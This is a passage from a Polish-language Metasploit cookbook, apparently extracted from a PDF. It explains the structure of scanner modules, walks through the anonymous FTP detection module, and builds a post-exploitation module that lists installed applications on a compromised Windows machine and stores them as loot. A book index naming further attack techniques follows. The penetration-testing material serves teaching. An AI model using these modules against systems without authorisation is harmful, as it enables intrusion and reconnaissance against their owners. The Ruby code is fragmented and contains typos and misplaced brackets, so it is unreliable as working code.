require 'msf/core'
```

Jest to pierwszy i najważniejszy wiersz kodu każdego skryptu. Wskazuje, że moduł będzie zawierał wszystkie zależności i funkcjonalności frameworku Metasploit.

- Kolejny wiersz definiuje klasę, która dziedziczy właściwości rodziny modułów pomocniczych. Moduł pomocniczy może importować kilka funkcjonalności, takich jak skanowanie, otwieranie połączeń, korzystanie z bazy danych itd.:

```
class Metasploit3 < Msf::Auxiliary
```

- Instrukcja `include` może być wykorzystana w celu dodania do tworzonego modułu konkretnej funkcjonalności frameworku. Jeżeli budujesz np. moduł skanera, możesz zastosować instrukcję:

```
include Msf::
```

- Następujący wiersz doda do modułu funkcjonalność zdalnego skanowania TCP:

```
include Msf::Exploit::Remote::TCP
```

- Poniższy fragment kodu importuje główne biblioteki modułu skanowania z bibliotek frameworku Metasploit:

```
include Msf::Exploit::Remote::TCP
include Msf::Exploit::Capture
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
```

- Kolejny fragment skryptu stanowi wprowadzenie do modułu, dostarczając informacje takie jak jego nazwa, wersja, autor, opis itd.:

```
def initialize
  super(
```

```

    'Name' => 'TCP Port Scanner',
    'Version' => '$Revision$',
    'Description' => 'Enumerate open TCP services',
    'Author' => [ darklord ],
    'License' => MSF_LICENSE
  )

```

- Następnych kilka wierszy skryptu jest używanych do inicjowania jego wartości. Opcje oznaczone jako true są zasadniczo wymagane dla modułów, natomiast opcje oznaczone jako no są opcjonalne. Te wartości mogą być wprowadzane lub zmieniane w trakcie uruchamiania modułu:

```

register_options(
  [
    OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)",
      ↪ "1-10000"]),
    OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds",
      ↪ 1000]),
    OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check
      ↪ per host", 10]), self.class)
  ]
deregister_options('RPORT')

```

Są pewne wspólne wiersze skryptu, które znajdziesz w każdym module. Analiza wbudowanych skryptów jest najlepszym sposobem, aby dowiedzieć się więcej o ich budowie. Istnieje kilka opracowań na temat tworzenia modułów, ale najlepszym sposobem na naukę jest opanowanie pisania skryptów Ruby i analizowanie istniejących modułów. W następnej recepturze przeanalizujemy od podstaw cały moduł.

## Analiza gotowego modułu

W poprzedniej recepturze zapoznaliśmy się z podstawami budowania własnych modułów. Następnym krokiem będzie analiza istniejących modułów. Jeśli chcesz zgłębić tajniki przygotowywania modułów i przyczynić się do rozwoju platformy, powinieneś dokładniej zapoznać się ze skryptami istniejących modułów.

## Przygotuj się

Przeanalizujemy prosty moduł FTP, aby zgłębić tematykę budowania modułów.

Zacniemy od miejsca, w którym zakończyliśmy poprzednią recepturę. Omówiliśmy już podstawowy szablon modułu, przejdźmy więc od głównej części skryptu.

## Jak to wykonać

Przeanalizujemy moduł anonimowego dostępu FTP:

1. Główny skrypt tego modułu znajduje się w folderze  
*opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb*

Oto pełny skrypt:

```
class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def initialize
    super(
      'Name'      => 'Anonymous FTP Access Detection',
      'Version'   => '$Revision: 14774 $',
      'Description'=> 'Detect anonymous (read/write)
↳FTP server access.',
      'References' =>
        [
          ['URL', 'http://en.wikipedia.org/
↳wiki/File_Transfer_Protocol#
↳Anonymous_FTP'],
        ],
      'Author'    => 'Matteo Cantoni <goony[at]
↳nothink.org>',
      'License'   => MSF_LICENSE
    )
    register_options(
      [
        Opt::RPORT(21),
      ], self.class)
  end
  def run_host(target_host)
    begin
      res = connect_login(true, false)
      banner.strip! if banner
      dir = Rex::Text.rand_text_alpha(8)
      if res
        write_check = send_cmd( ['MKD', dir] , true)
        if (write_check and write_check =~ /^2/)
          send_cmd( ['RMD', dir] , true)
          print_status("#{target_host}:#{rport}
↳Anonymous READ/WRITE (#{banner})")
          access_type = "rw"
        else
          print_status("#{target_host}:#{rport}
↳Anonymous READ (#{banner})")
          access_type = "ro"
        end
      end
    end
  end
end
```

```

        report_auth_info(
            :host => target_host,
            :port => rport,
            :sname => 'ftp',
            :user => datastore['FTPUSER'],
            :pass => datastore['FTPPASS'],
            :type => "password_#{access_type}",
            :active => true
        )
    end
    disconnect
    rescue ::Interrupt
        raise $!
    rescue ::Rex::ConnectionError, ::IOError
    end
end
end
end

```

Przejdźmy do następnego punktu i przeanalizujmy skrypt szczegółowo.

## Jak to działa

Zacznijmy od analizy głównej części skryptu, aby zrozumieć, jak działa.

Ta funkcja służy do rozpoczęcia połączenia. Zmienna `res` posiada wartość logiczną `true` (prawda) lub `false` (fałsz). Funkcja `connect_login` jest specyficzną funkcją używaną przez moduł w celu nawiązania połączenia ze zdalnym hostem. W zależności od tego, czy uda się nawiązać połączenie, odpowiednia wartość logiczna jest zapisywana w zmiennej `res`:

```

def run_host(target_host)
  begin
    res = connect_login(true, false)
    banner.strip! if banner
    dir = Rex::Text.rand_text_alpha(8)

```

Po ustanowieniu połączenia moduł próbuje sprawdzić, czy anonimowy użytkownik posiada uprawnienia odczytu/zapisu (ang. *read/write*). Zmienna `write_check` sprawdza, czy operacja zapisu jest możliwa. Następnie sprawdzane jest, czy operacja została zakończona powodzeniem. W zależności od statusu uprawnień na ekranie wyświetlany jest odpowiedni komunikat. Jeśli operacja zapisu nie powiedzie się, zostanie wyświetlony status `ro` lub `read-only` (tylko do odczytu):

```

    if res
      write_check = send_cmd( ['MKD', dir] , true)
      if (write_check and write_check =~ /^2/)
        send_cmd( ['RMD', dir] , true)
        print_status("#{target_host}:#{rport}
          ↳Anonymous READ/WRITE (#{banner})")
      end
    end
    access_type = "rw"

```

```

else
    print_status("#{target_host}:#{rport}
    ↪Anonymous
access_type="ro"

```

Następna funkcja służy do zgłaszania informacji o autoryzacji. Zawierają one ważne parametry, takie jak nazwa hosta, numer portu, nazwa użytkownika, hasło itd. Są to wartości, które pojawiają się, gdy używamy polecenia `show options`, są więc zależne od użytkownika.

```

report_auth_info(
  :host => target_host,
  :port => rport,
  :sname => 'ftp',
  :user => datastore['FTPUUSER'],
  :pass => datastore['FTPPASS'],
  :type => "password_#{access_type}",
  :active => true
)
end

```

To była szybka demonstracja działania prostego modułu dostępnego we frameworku Metasploit. Możesz zmienić istniejące skrypty odpowiednio do swoich potrzeb. Czyni to z tego frameworku niezwykle przenośną platformę do programowania. Jak już powiedzieliśmy, najlepszym sposobem na naukę budowania modułów jest analizowanie istniejących skryptów.

W następnej recepturze zobaczymy, jak zbudować własny moduł i przenieść go do frameworku Metasploit.

## Budowanie własnego modułu fazy poeksploatacyjnej

Omówiliśmy już wszystkie podstawowe kwestie dotyczące budowania modułów. W tej recepturze zajmiemy się przygotowaniem własnego modułu i zaimportowaniem go do frameworku Metasploit. Budowanie modułów może być bardzo przydatne, gdyż daje możliwość rozszerzenia funkcjonalności frameworku w zależności od własnych potrzeb.

### Przygotuj się

Zbudujmy mały moduł fazy poeksploatacyjnej, który przeprowadzi enumerację wszystkich zainstalowanych na maszynie docelowej aplikacji. Ponieważ jest to moduł fazy poeksploatacyjnej, będziemy potrzebować maszyny ze złamanymi zabezpieczeniami, aby uruchomić moduł:

1. Aby rozpocząć budowę modułu, najpierw zaimportujemy biblioteki frameworku i dołączymy wymagane zależności:

```
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
```

Skrypt rozpoczyna się od dołączenia bibliotek rdzeniowych frameworku Metasploit. Następnie tworzona jest klasa, która rozszerza właściwości modułów `Msf :: Post`.

```
class Metasploit3 < Msf::Post
  include Msf::Post::Windows::Registry
```

2. Tworzymy funkcję `initialize`, która jest wykorzystywana do zainicjowania i określenia właściwości modułu oraz jego opisu. Ta podstawowa struktura pozostaje taka sama w prawie wszystkich modułach. Należy zauważyć, że dodaliśmy wcześniej biblioteki `'rex'` oraz `'registry'`. W ten sposób framework łatwo rozpozna nasze wymagania dotyczące modułu.

```
def initialize(info={})
  super( update_info( info,

    'Name'          => 'Windows Gather Installed Application
    ↳ Enumeration',
    'Description'   => %q{ This module will enumerate all installed
    ↳ applications },
    'License'       => MSF_LICENSE,
    'Platform'      => [ 'windows' ],
    'SessionTypes' => [ 'meterpreter' ]
  ))
end
```

Kolejnym krokiem jest stworzenie tabeli, która będzie wyświetlać wyodrębnione wyniki. Do tego celu można użyć specjalnej biblioteki `Rex::Ui::Text`. Musimy zdefiniować różne kolumny:

```
def app_list
  tbl = Rex::Ui::Text::Table.new(
    'Header' => "Installed Applications",
    'Indent' => 1,
    'Columns' =>
      [
        "Name",
        "Version"
      ]
  )
```

Główna część skryptu rozpoczyna się od budowania tabeli i określenia nazw różnych kolumn. Następnie tworzona jest osobna tablica lokalizacji w rejestrze, która zostanie wykorzystana do enumeracji aplikacji. Tablica będzie składać się z różnych wpisów w rejestrze, które zawierają informacje na temat aplikacji zainstalowanych na maszynie docelowej. Informacje o aplikacjach są przechowywane w osobnej tablicy o nazwie `apps`.

```

apkeys = [
  'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
  'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall',
  'HKLM\SOFTWARE\WOW6432NODE\Microsoft\Windows\
  ↳CurrentVersion\Uninstall',
  'HKCU\SOFTWARE\WOW6432NODE\Microsoft\Windows\
  ↳CurrentVersion\Uninstall',
]
apps = []

```

3. Następnie rozpoczynamy proces enumeracji poprzez uruchomienie pętli, która sprawdza różne lokalizacje rejestru przechowywane w tablicy o nazwie `appskey`:

```

apkeys.each do |keyx86|
  found_keys = registry_enumkeys(keyx86)
  if found_keys
    found_keys.each do |ak|
      apps << keyx86 + "\\\" + ak
    end
  end
end

```

Kolejne wiersze skryptu mają na celu wypełnienie tabeli różnymi wartościami w odpowiednich kolumnach. Skrypt wykorzystuje wbudowaną funkcję `registry_getvaldata`, która pobiera wartości z rejestru i dodaje je do tabeli:

```

t = []
while(not apps.empty?)
  1.upto(16) do
    t << framework.threads.spawn("Module(#{self.refname})",
  false,
  apps.shift) do |k|
    begin
      dispnm = registry_getvaldata("#{k}", "DisplayName")
      dispversion =
  registry_getvaldata("#{k}", "DisplayVersion")
      tbl << [dispnm, dispversion] if dispnm and dispversion
    rescue
    end
  end
end

```

Kilka ostatnich wierszy skryptu służy do zapisywania informacji w oddzielnym pliku tekstowym o nazwie *applications.txt*. Plik jest zapełniany za pomocą funkcji `store_loot` function, która zapisuje pełną tabelę w pliku tekstowym.

```

results = tbl.to_s
print_line("\n" + results + "\n")
p = store_loot("host.applications", "text/plain", session,
  ↳results, "applications.txt", "Installed Applications")
print_status("Results stored in: #{p}")

end
def run

```



4. Ostatecznie na ekranie wyświetlane są dane wyjściowe z informacją o utworzeniu pliku i zapisaniu w nim wyników.

```

        print_status("Enumerating applications installed on
        ↪#{sysinfo['Computer']}")
        app_list
    end
end

```

Następnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz upewnić się, że wybrałeś właściwy katalog do przechowywania modułu. Pomoże to frameworkowi wyraźnie określić użyteczność modułu i utrzyma hierarchię w platformie. Utrzymanie hierarchii podczas aktualizacji modułów ułatwi identyfikowanie przeznaczenia modułu. Zapisanie np. modułu przeglądarki Internet Explorer w folderze *modules/exploits/windows/browser* pomoże łatwo lokalizować w tym miejscu wszelkie nowe lub istniejące moduły przeglądarki.

Określając lokalizację modułu, powinieneś wziąć pod uwagę następujące kwestie:

1. Typ modułu.
2. Działania przeprowadzane przez moduł.
3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla których moduł jest przeznaczony.

Metasploit dla przechowywania modułów stosuje hierarchię od uogólnionego do wyspecjalizowanego formatu. Zaczyna się od rodzaju modułów, takich jak moduł exploita czy moduł pomocniczy. Następna w hierarchii jest uogólniona nazwa, np. nazwa systemu operacyjnego. Dalej tworzone są bardziej wyspecjalizowane funkcjonalności, które określają, że moduł jest np. wykorzystywany do przeglądarek internetowych. Na koniec używana jest najbardziej określona nazwa, np. konkretna nazwa przeglądarki internetowej, dla której przeznaczony jest moduł.

Weźmy pod uwagę nasz moduł. Jest to moduł fazy poeksploatacyjnej, który jest używany do przeprowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym systemie. Powinniśmy więc przy zapisywaniu modułu zastosować odpowiednią konwencję.

Naszą lokalizacją docelową powinien być folder *modules/post/windows/gather/*.

Możesz zapisać moduł z wybraną nazwą i z rozszerzeniem *.rb*. Zapiszmy go jako *enum\_applications.rb*.

## Jak to wykonać

Kiedy już zapiszemy moduł w preferowanym katalogu, następnym krokiem będzie uruchomienie go i sprawdzenie, czy działa poprawnie. Proces uruchomienia modułu widzieliśmy w poprzednich recepturach.

Użyjemy nazwy modułu, aby uruchomić go w konsoli msfconsole:

```
msf> use post/windows/gather/enum_applications
msf post(enum_applications) > show options
```

```
Module options (post/windows/gather/enum_applications)
```

Name	Current Setting	Required	Description
SESSION		yes	The session...

Jest to prosty przykład tego, jak można zbudować własny moduł i dodać go do frameworku Metasploit. Jeśli chcesz budować dobre moduły, na pewno potrzebujesz solidnej wiedzy na temat pisania skryptów Ruby. Możesz również wspomóc społeczność Metasploit poprzez publikację swoich modułów, aby inni mogli z nich korzystać.

# Skorowidz

## A

adres  
  IP, 184  
  MAC, 171, 191  
aktualizacja  
  systemu BackTrack, 28  
  pakietu SET, 207  
alokator pamięci, 91  
analiza  
  luk w zabezpieczeniach, 19  
  modułu, 133  
  skryptu, 266  
Antiparser, 159  
antypishingowy pasek narzędzi, 43  
AP, access point, 189  
aplikacja, *Patrz także* narzędzie  
  7zip, 87  
  Adobe Acrobat, 107  
  Adobe Reader, 106  
  AVG 10, 117  
  ESET NOD32, 116  
  Fern WiFi Cracker, 180,  
  187–194  
  Flash Player, 102  
  MacStumbler, 198  
  Microsoft Excel 2007, 106  
  Microsoft Word, 104  
  PuTTY, 31–33, 254  
  VMware, 29  
  VNCViewer, 271  
  Vomit, 174  
  Wiresh, 168  
archiwum sfx, 87, 120  
atak  
  client-side, 98, 110  
  DoS, 127, 175  
  e-mail, 214  
  Incognito, 276–279  
  MiTM, 172  
  phishing, 212

siłowy, 123, 124  
spear-phishing, 212, 213  
typu zły bliźniak, 198  
wieloaspektowy, 218  
WWW, 215  
wykorzystujący podszywanie  
  się, 173  
  zatruwania ARP, 172  
atrybuty MACE, 237  
audyt bezpieczeństwa, 95  
  sieci bezprzewodowej, 191  
autoryzacja, 136

## B

backdoor, 219, 221, 247  
BackTrack 5 R3, 13, 26, 207  
bajty zerowe, null bytes, 147  
baza danych  
  GHDB, 43  
  MySQL, 126  
  PostgreSQL, 33  
BBQSQL, 37  
biblioteka  
  MSF Core, 20  
  Rex, 20, 265  
  shell32.dll, 259  
biblioteki  
  DLL, 92, 94  
  MSF, 132  
  MSFcore, 144  
blok SEH, 118  
Bluetooth, 179  
błąd 404, 176  
błędy  
  bazy danych, 22  
  instalacji Metasploit, 25  
  połączenia z bazą, 35  
brama sieciowa, gateway, 229  
budowanie, *Patrz* tworzenie

## C

certyfikat, 71, 211  
certyfikat SSH, 33  
ciasteczka, cookies, 193  
czynności wstępne, 18

## D

deklaracje funkcji, 268  
deszyfrowanie w locie, 193  
DLL, Dynamic Link Library, 94  
dodatek Railgun, 259, 260  
dodawanie  
  bibliotek DLL, 261  
  DLL do Railgun, 261  
  parametrów, 263  
  trasy, 184  
dokumentacja narzędzia Railgun, 261  
domieszki exploitów  
  Exploit::BruteTargets, 142  
  Exploit::Capture, 143  
  Exploit::Remote::DCERPC, 142  
  Exploit::Remote::Ftp, 142  
  Exploit::Remote::MSSQL, 143  
  Exploit::Remote::SMB, 142  
  Exploit::Remote::TCP, 142  
  Exploit::Remote::UDP, 142  
domieszki Meterpretera, 255, 257  
  cmd\_exec, 257  
  eventlog\_clear, 257  
  eventlog\_list, 257  
  file\_local\_write, 257  
  is\_admin?, 257  
  is\_uac\_enabled?, 257  
  registry\_createkey, 257  
  registry\_deleteval, 257  
  registry\_delkey, 257  
  registry\_enumkeys, 257  
  registry\_enumvals, 258  
  registry\_getvaldata, 258

- domieszki Meterpretera
    - service\_create, 258
    - service\_delete, 258
    - service\_info, 258
    - service\_list, 258
    - service\_start, 258
    - service\_stop, 258
  - DoS, Denial of Service, 128, 175
  - dostęp
    - do interfejsu, 251
    - do Metasploit, 24
    - zdalny, 83
  - dowód koncepcji, proof of concept, 147
  - działanie
    - exploita dcom, 84
    - systemu VoIP, 162
  - dzienniki firewalli, 51
- E**
- edytor tekstowy gedit, 264
  - eksploatacja, 19
    - aplikacji PHP, 274
    - typu client-side, 97
  - elementy TLV, 234
  - enumeracja, 42, 127
  - exploit, 20, 39, 77, 141–159
    - dcom, 84
    - KiTrapOD, 233
    - lsa\_transnames\_heap, 89
    - ms03\_026\_dcom, 79, 83
    - ms08\_067\_netapi, 276
    - ms10\_087\_rtf\_pfragments\_bof, 104
    - ms11\_021\_xlb\_bof, 106
    - webdav\_dll\_hijacker, 92
  - extranet, 42
- F**
- falszywy
    - podpis apletu, 218
    - punkt dostępowy, 198, 200
  - faza
    - poeksploatacyjna, 19
    - skanowania i enumeracji, 164
  - filtr antyphishingowy, 43
  - firewall, 31, 232
  - floodowanie, 176
  - folder
    - exploit, 143
    - gather, 130
    - modules, 122
  - footprinting, 42
- G**
- generator zainfekowanych nośników danych, 219
  - generowanie
    - hasel, 124
    - pliku binarnego, 108
  - geolokalizacja, 194, 196
  - GHDB, 43
  - GUI, Graphical User Interface, 21, 180
- H**
- hasło, 168
  - hopper VoIP, 171
  - hostowanie samodzielne, 162
- I**
- IAENG, 7
  - identyfikacja systemu operacyjnego, 50
  - identyfikator
    - procesu, PID, 242, 271
    - usługi, SSID, 201
  - IIS, Internet Information Services, 128
- J**
- język
    - Python, 191
    - Ruby, 84
    - Visual Basic, 87, 120
- K**
- Karmetasploit, 201
  - klient SSH, 31
  - klonowanie, 30
    - adresu URL, 216
    - frameworku Metasploit, 25
  - kod powłoki, 108, 109
  - kod powłoki syringe.sh, 119, 120
  - kodowanie msf, 87
  - komenda, *Patrz* polecenie
  - komentarze, 263
  - komunikacja klient-serwer, 227
  - konfigurowanie
    - bazy danych, 33
    - BBQSQL, 38
    - Fern Wi-Fi Cracker, 181
    - kanałów komunikacji, 234
    - Karmetasploit, 201
    - laboratorium, 164
- L**
- importowanie
    - modułu exploita, 152
    - wyników skanowania, 70
  - informacje
    - o autoryzacji, 136
    - o otwartych portach, 98
    - o systemie operacyjnym, 98
  - instalowanie
    - bazy danych, 33
    - exploita, 81
    - Fern Wi-Fi Cracker, 181
    - frameworku Metasploit, 23, 26
    - laboratorium, 164
    - maszyny wirtualnej, 29
  - interfejs
    - API, 255
    - API Meterpretera, 258
    - bazy danych, 63
    - DCOM, 81
    - graficzny użytkownika, GUI, 21
    - msfcli, 21
    - msfconsole, 21, 34
    - msfgui, 21
    - msfweb, 21
    - użytkownika, UI, 21
  - internet, 42
  - intranet, 42

maszyna wirtualnej, 30  
 Metasploit  
   na maszynie wirtualnej, 31  
   w Ubuntu, 23  
   w Windows, 21  
 monitorowania, 198  
 pakietu SET, 208  
 trasy, 253  
 własnego serwera pocztowego, 214  
 konsola msfconsole, 60, 93, 100  
 kontrola nad maszyną docelową, 85  
 konwertowanie  
   exploita, 147, 149  
   rekordów DNS, 45

## L

laboratorium, 164  
 liczba pakietów IVS, 191  
 Linux, 88  
 lista  
   hasel, 125  
   RBL, 212  
   skanerów, 122  
   SURBL, 212  
 luka  
   Adobe Flash Player, 102  
   DBMS\_METADATA XML, 127  
   execCommand  
     Use-After-Free, 99  
   RFI, 274  
   typu RPC dcom, 79  
   U3D Memory Corruption, 107  
   w zabezpieczeniach, 19, 65, 76  
   obsługi znacznika DoABC, 102  
   przeglądarki, 98, 99  
   usług IIS, 128

## Ł

ładowanie Meterpretera, 224  
 ładunek, 20, 76, 77  
   adduser, 80  
   bind\_tcp, 84, 92  
   reverse\_tcp, 104  
   shell\_bind\_tcp, 90  
 łamanie zabezpieczeń szyfrowania, 187, 189

## M

MACE, 237  
 MAFIA, 239  
 maska sieci, netmask, 229

maszyna wirtualna, VM, 30  
 mechanizm obronny ASLR, 106  
 Metasploit, 19  
 Meterpreter, 114–116  
   atak Incognito, 276  
   dodatek Railgun, 259  
   domieszki, 255  
   interfejs API, 258  
   konfiguracja kanałów  
     komunikacji, 234  
   migracja procesu, 232  
   polecenia sieciowe, 229  
   polecenia systemowe, 225  
   polecenia systemu plików, 227  
   poszerzanie uprawnień, 232  
   przechwytywanie uderzeń  
     klawiatury, 239  
   przekierowanie portów, 252  
   skrypty, 243  
   trwale połączenie, 247  
   zacieranie śladów, 237

metoda talloc chunk overwrite, 91  
 metody SIP, 163  
 MIB, Management Information  
   Base, 63  
 migracja procesu, 232  
 MiTM, Man in The Middle, 172  
 modelowanie zagrożeń, 18  
 moduł, 20  
   adobe\_libtiff, 102  
   client\_ftp.rb, 154  
   dostępu FTP, 134  
   fazy poeksploatacyjnej, 136  
   Fern Cookie Hijacker, 193  
   filezilla\_fuzzer.rb, 158  
   GPS, 196  
   ms10\_065\_ii6\_asp\_dos, 128  
   mysql\_enum, 126  
   sip\_invite\_spoof, 174  
   skanera mysql\_login, 123  
   snmp\_enum, 63  
   ssh\_version, 60, 61  
 modułowa struktura exploitów, 144  
 moduły  
   administracyjne, 125  
   exploitów, 91  
   fazy poeksploatacyjnej, 130  
   fuzzerów, 143, 153  
   pomocnicze skanera, 122  
   własne, 136  
   wstrzyknięcia zapytania, 127  
 monitorowanie interfejsów  
 sieciowych, 182

## N

narzędzia  
   32-bitowe, 28  
   64-bitowe, 28  
   MAFIA, 239  
   socjotechniczne, 40, 42, 205  
 narzędzie  
   aircrack-ng, 198  
   crunch, 124  
   DLLHijackAudit, 95  
   dig, 44  
   dnmap, 52, 53  
   do automatyzacji, 207  
   etherape, 186  
   ettercap, 209  
   Fern WiFi Cracker, 180  
   gAlan, 148  
   Greenbone Security Assistant, 74  
   iaxflood, 175, 177  
   inviteflood, 175, 176  
   ipconfig, 183  
   Karmetasploit, 202  
   keimpx, 56, 57  
   kismet, 196  
   msfencoding, 111  
   msfpayload, 108  
   msfvenom, 146, 147  
   Nessus, 65–68  
   NeXpose, 68, 69  
   nmap, 47, 49, 51, 89  
   nslookup, 44  
   OpenVAS, 70–74  
   Railgun, 261  
   rtpflood, 175, 176  
   siperack, 169  
   smap, 165, 167  
   strzykawki, 85, 88, 118  
   swar, 165, 166  
   tcpdump, 182, 186  
   ucsniff, 172, 173  
   voiphopper, 170  
   whois, 44  
   Xplico, 167  
 nasłuchiwacz, 107, 211  
   frameworku Metasploit, 221  
   połączenia zwrotnego, 110  
 nazwany potok, named pipe, 233  
 niewłaściwe użycie wskaźnika, 102  
 NTLM, NT LAN Manager, 245  
 numer wewnętrzny SIP, 172  
 NVT, Network Vulnerability Tests, 71

## O

- obsługa
  - połączeń zwrotnych, 270
  - wyjatków jądra, 233
- odmowa usługi, 128
- odpowiedzi SIP, 163
- omijanie
  - firewalli, 232
  - ochrony antywirusowej, 99
  - systemów detekcji włamań, 232
  - zabezpieczeń DEP, 102
- opcja
  - autoodtworzenia, 219, 221
  - CYCLIC, 155
  - ENDSIZE, 155
  - ERROR, 155
  - EXTRALINE, 155
  - FUZZCMD5, 155
  - SRVHOST, 155
  - SRVPORT, 155
  - STARTSIZE, 155
  - STEPSIZE, 155
- opcje
  - BBQSQL, 38
  - polecenia persistence, 248
  - polecenia smap, 166
  - typu plików, 108
- otwarte porty, 187
- otwarty serwer FTP, 62

## P

- pakiet, 155
  - ARP, 171
  - Karma, 201
  - narzędzi socjotechnicznych, 40
  - SET, 206
  - sipcrack, 169
- parametr
  - /F, 118
  - BASENAME, 93
  - C, 110
  - FILENAME, 105
  - LHOST, 105, 109
  - LPORT, 109
  - o, 109
  - PASSWORD, 126
  - RHOST, 80
  - SRVHOST, 93
  - SRVPORT, 93
- PDA, Personal Digital Assistant, 194
- penetracja maszyny docelowej
  - wiązanie powłoki, 83
  - z Linuxem, 88
  - z Windows 8, 85
  - z Windows XP SP2, 78
- personifikacja, 233
  - nazwanego potoku, 233
  - tokenu, 278
- phishing, 198, 212
- piaskownica, 218
- PID, process ID, 242
- pivoting, 229, 250, 252
- plik, *Patrz także* skrypt
  - backdoor.exe, 88
  - database.yml, 34, 35
  - dnmap\_client.py, 54
  - karma.rc, 202
  - konfiguracyjny, 38
  - policyp.txt, 93
  - priceinfo.rtf, 105
  - resume.pdf, 108
  - s.bat, 87
  - set\_config, 208, 212
  - słownika, 191
  - syringe.exe, 119
  - syringe.sh, 85
- pliki
  - .exe, 85
  - .pdf, 103, 108
  - .swf, 103
  - .vbs, 250
  - .xlb, 106
- podatność na ataki, 75
- podsieć, subnet, 229
- podśluch MiTM, 172
- podszycanie się
  - pod adresy MAC, 171
  - pod inną osobę, 173
- polecenia
  - interfejsu msfconsole, 100
  - sieciowe Meterpretera, 229
  - systemowe Meterpretera, 225
  - systemu plików Meterpretera, 227
- polecenie
  - background, 226
  - bbqsql, 39
  - db\_connect, 34
  - db\_nmap, 36
  - dig, 45, 46
  - download, 228
  - enumdesktops, 239
  - execute, 235
  - exit, 227
  - exploit, 153
  - getdesktop, 239, 241
  - getpid, 226
  - getsystem, 115, 232, 246
  - getuid, 226
  - ipconfig, 31, 230, 251
  - keyscan, 242
  - keyscan\_start, 242
  - ls, 175
  - migrate, 234
  - msfconsole, 60
  - msfpayload, 109
  - msfvenom, 146
  - nmap, 36, 47
  - nslookup, 45
  - portfwd, 187, 231, 253
  - ps, 115, 226
  - pwd, 228
  - route, 230, 252
  - run scraper, 243
  - search, 228
  - search Samba, 89
  - set, 77
  - setg, 78
  - shell, 227
  - show exploits, 77
  - show options, 80, 127
  - show payloads, 80
  - show targets, 80
  - sysinfo, 226
  - taskkill, 118
  - tasklist, 117
  - timestomp, 237, 238
  - unsetg, 78
  - voiphopper, 171
  - whois, 45
  - write, 236
- połączenie
  - powłoki, 93, 99
  - SSH, 31
  - TCP, 48, 49, 84
  - three-way handshake, 49
  - trwale, 247
  - typu three-way handshake, 47
  - z bazą danych, 35
  - z maszyną atakującą, 93
  - z nasłuchiwcem, 219
- ponowne wykorzystanie kodu, 266
- poszerzanie uprawnień, 232
- poświadczenia SMB, 56
- powłoka
  - cmdshell, 126
  - gościnna, 274
  - Meterpretera, 115
  - Ruby, 256
- pozyskiwanie haseł, 168
- program, *Patrz* aplikacja, narzędzie
- programy antywirusowe, 117
- protokół
  - NTLM, 245
  - NTLMSSP, 57

RTP, 163  
 SIP, 163  
 SMB, 56  
 SNMP, 63  
 SSH, 59  
 TLS, 163  
 przechowywanie rezultatów, 36  
 przechwytywanie  
 pakietów, 198  
 pakietów ciasteczek, 193  
 sesji, 191  
 uderzeń klawiatury, 239  
 przeglądarka Microsoft Internet Explorer, 100  
 przekierowanie portów, 231, 252, 254  
 przepelnienie  
 bufora, 92, 106  
 sterty, 91  
 stosu, 104, 148  
 przeprowadzanie testów  
 penetracyjnych, 18  
 przeskakiwanie VLAN-ów, 169, 171  
 przygotowywanie testów  
 penetracyjnych, 29  
 PTES, 18  
 pulpit Winlogon, 240  
 punkt dostępowy, AP, 189  
 punkty końcowe sieci, 98

## R

ranga, rank, 79  
 RBL, Real-time Blackhole List, 212  
 rekordy  
 NVT, 72  
 SPF, 46  
 RFB, Remote Frame Buffer, 271  
 RFI, Remote File Inclusion, 274  
 rodzaje ataków spear-phishing, 212  
 rozmiar stosu, 148  
 rozszyfrowywanie hasel, 247  
 RPC, Remote Procedure Call, 81  
 RTP, Real time Transport Protocol, 163

## S

schemat laboratorium, 164  
 schematy kodowania, 111  
 SEH, Structured Exception Handler, 118  
 serwer  
 backdoorów, 248  
 dnmap, 53  
 FTP FileZilla, 156

IIS, 128  
 PBX, 165  
 pocztowy sendmail, 209  
 RBL, 212  
 VNC, 271  
 SET, Social-Engineer Toolkit, 40, 205  
 sieć  
 bezprzewodowa, 179  
 VoIP, 161, 171  
 SIP, Session Initiation Protocol, 163  
 skaner  
 portów, 185  
 ScanSSH, 62  
 smap, 166  
 skanowanie, 41  
 ACK, 48, 50  
 adresów IP, 186  
 FTP, 62  
 luk w zabezpieczeniach, 65, 70  
 nmap, 36  
 połączenia TCP, 47, 49  
 portów, 47, 52  
 poświadczeń SMB, 56, 58  
 punktów dostępowych, 189  
 SYN, 48, 50  
 TCP, 186  
 UDP, 48, 50  
 wersji SSH, 59  
 za pomocą narzędzia NeXpose, 68

skrótów hasel, 247  
 skrypt  
 AcroJS, 102  
 anonymous.rb, 134  
 arp\_scanner, 184  
 dir\_scanner, 122  
 enum\_logged\_on\_user.rb, 131  
 hashdump, 245, 246  
 killav.rb, 113, 117  
 metstvc, 248  
 persistence, 248  
 scraper.rb, 243  
 screen\_spy.rb, 131  
 startowy, 35  
 trwałego połączenia, 271  
 VB, 87, 120  
 winenum.rb, 245  
 skrypty Ruby, 265  
 skryte skanowanie, 48  
 SNMP, Simple Network Management Protocol, 63  
 socjotechnika, 205  
 SPF, Sender Policy Framework, 46  
 spoofing, 198

SPR, Sender Policy Framework, 212  
 spryskiwanie sterty, 102  
 standard  
 Bluetooth, 179  
 PTES, 18  
 SANS, 42  
 Wi-Fi, 179  
 stos  
 wykonawczy, 148  
 wywołań, 148  
 stosowanie domieszek, 264  
 stowarzyszenie inżynierów, 7  
 struktura modułu, 143  
 SURBL, 212  
 synchronizacja z bazą NVT, 71  
 system VoIP, 162  
 systemy detekcji włamań, 48, 232  
 szare listy, 212  
 szyfrowanie  
 WEP, 187  
 WPA, 187

## Ś

ścieżka dostępu do modułu, 126  
 śledzenie współrzędnych geograficznych, 194

## T

tabela routingu, 253  
 TEB, Thread Environment Block, 233  
